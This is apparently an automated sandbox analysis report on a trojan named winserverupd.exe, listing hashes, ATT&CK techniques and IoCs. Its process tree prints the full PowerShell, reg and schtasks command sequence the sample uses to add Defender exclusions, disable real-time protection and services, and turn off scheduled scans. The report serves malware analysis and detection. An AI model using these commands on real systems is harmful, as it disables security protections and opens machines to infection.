4a009d7516245a7af1dbc74beacd149316212a8cbd045132e7f95118bfafcece

Analysis

max time kernel
241s
max time network
276s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
18/03/2024, 15:12

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General

Target
winserverupd.exe
Size 91KB
Sample240318-slmnvscc5w
SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
MD5 607acc5a6b670bd144bf3897cda6b233
SHA1 24a2fc93216adb3543ee555473b2f61f333384d2
SHA512 75bd3c2fe2a6b96586e0e1ecf5d282d55f71fb9891961ca1dd6c6be90eaa9a196fd62c8343abfdb039e384895a593f2a01c725451c580980f238c40d764b4643
SSDEEP 1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfLx4fmSxL2MO2:nq6+ouCpk2mpcWJ0r+QNTBfLyfmSBR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral11/files/0x0007000000023202-1.dat	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	winserverupd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
3344	powershell.exe
3344	powershell.exe
4756	powershell.exe
4756	powershell.exe
1276	powershell.exe
1276	powershell.exe
2868	powershell.exe
2868	powershell.exe
2868	powershell.exe
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe
4944	powershell.exe
4944	powershell.exe
4944	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
3268	powershell.exe
3268	powershell.exe
3268	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
640	powershell.exe
640	powershell.exe
640	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
1964	powershell.exe
1964	powershell.exe
1964	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 1016	3216	winserverupd.exe	91
PID 3216 wrote to memory of 1016	3216	winserverupd.exe	91
PID 1016 wrote to memory of 3344	1016	cmd.exe	94
PID 1016 wrote to memory of 3344	1016	cmd.exe	94
PID 1016 wrote to memory of 4756	1016	cmd.exe	95
PID 1016 wrote to memory of 4756	1016	cmd.exe	95
PID 1016 wrote to memory of 1276	1016	cmd.exe	96
PID 1016 wrote to memory of 1276	1016	cmd.exe	96
PID 1016 wrote to memory of 2868	1016	cmd.exe	97
PID 1016 wrote to memory of 2868	1016	cmd.exe	97
PID 1016 wrote to memory of 2508	1016	cmd.exe	98
PID 1016 wrote to memory of 2508	1016	cmd.exe	98
PID 1016 wrote to memory of 3912	1016	cmd.exe	99
PID 1016 wrote to memory of 3912	1016	cmd.exe	99
PID 1016 wrote to memory of 1664	1016	cmd.exe	100
PID 1016 wrote to memory of 1664	1016	cmd.exe	100
PID 1016 wrote to memory of 4672	1016	cmd.exe	101
PID 1016 wrote to memory of 4672	1016	cmd.exe	101
PID 1016 wrote to memory of 1756	1016	cmd.exe	102
PID 1016 wrote to memory of 1756	1016	cmd.exe	102
PID 1016 wrote to memory of 216	1016	cmd.exe	103
PID 1016 wrote to memory of 216	1016	cmd.exe	103
PID 1016 wrote to memory of 5004	1016	cmd.exe	104
PID 1016 wrote to memory of 5004	1016	cmd.exe	104
PID 1016 wrote to memory of 2924	1016	cmd.exe	105
PID 1016 wrote to memory of 2924	1016	cmd.exe	105
PID 1016 wrote to memory of 2072	1016	cmd.exe	106
PID 1016 wrote to memory of 2072	1016	cmd.exe	106
PID 1016 wrote to memory of 4816	1016	cmd.exe	107
PID 1016 wrote to memory of 4816	1016	cmd.exe	107
PID 1016 wrote to memory of 3144	1016	cmd.exe	108
PID 1016 wrote to memory of 3144	1016	cmd.exe	108
PID 1016 wrote to memory of 1128	1016	cmd.exe	109
PID 1016 wrote to memory of 1128	1016	cmd.exe	109
PID 1016 wrote to memory of 4312	1016	cmd.exe	110
PID 1016 wrote to memory of 4312	1016	cmd.exe	110
PID 1016 wrote to memory of 4404	1016	cmd.exe	111
PID 1016 wrote to memory of 4404	1016	cmd.exe	111
PID 1016 wrote to memory of 440	1016	cmd.exe	112
PID 1016 wrote to memory of 440	1016	cmd.exe	112
PID 1016 wrote to memory of 348	1016	cmd.exe	128
PID 1016 wrote to memory of 348	1016	cmd.exe	128
PID 1016 wrote to memory of 1816	1016	cmd.exe	115
PID 1016 wrote to memory of 1816	1016	cmd.exe	115
PID 1016 wrote to memory of 3972	1016	cmd.exe	116
PID 1016 wrote to memory of 3972	1016	cmd.exe	116
PID 1016 wrote to memory of 3476	1016	cmd.exe	117
PID 1016 wrote to memory of 3476	1016	cmd.exe	117
PID 1016 wrote to memory of 2524	1016	cmd.exe	118
PID 1016 wrote to memory of 2524	1016	cmd.exe	118
PID 1016 wrote to memory of 4944	1016	cmd.exe	119
PID 1016 wrote to memory of 4944	1016	cmd.exe	119
PID 1016 wrote to memory of 2428	1016	cmd.exe	120
PID 1016 wrote to memory of 2428	1016	cmd.exe	120
PID 1016 wrote to memory of 3268	1016	cmd.exe	124
PID 1016 wrote to memory of 3268	1016	cmd.exe	124
PID 1016 wrote to memory of 4660	1016	cmd.exe	125
PID 1016 wrote to memory of 4660	1016	cmd.exe	125
PID 1016 wrote to memory of 2232	1016	cmd.exe	126
PID 1016 wrote to memory of 2232	1016	cmd.exe	126
PID 1016 wrote to memory of 2992	1016	cmd.exe	129
PID 1016 wrote to memory of 2992	1016	cmd.exe	129
PID 1016 wrote to memory of 3184	1016	cmd.exe	130
PID 1016 wrote to memory of 3184	1016	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\winserverupd.exe
"C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3F7A.tmp\3F7B.tmp\3F7C.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4672
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:216
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5004
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:4816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:3144
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4312
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4404
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:440
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:348
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3972
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3476
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:2524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:2396
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:1000
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:2968
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:3284
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:1144

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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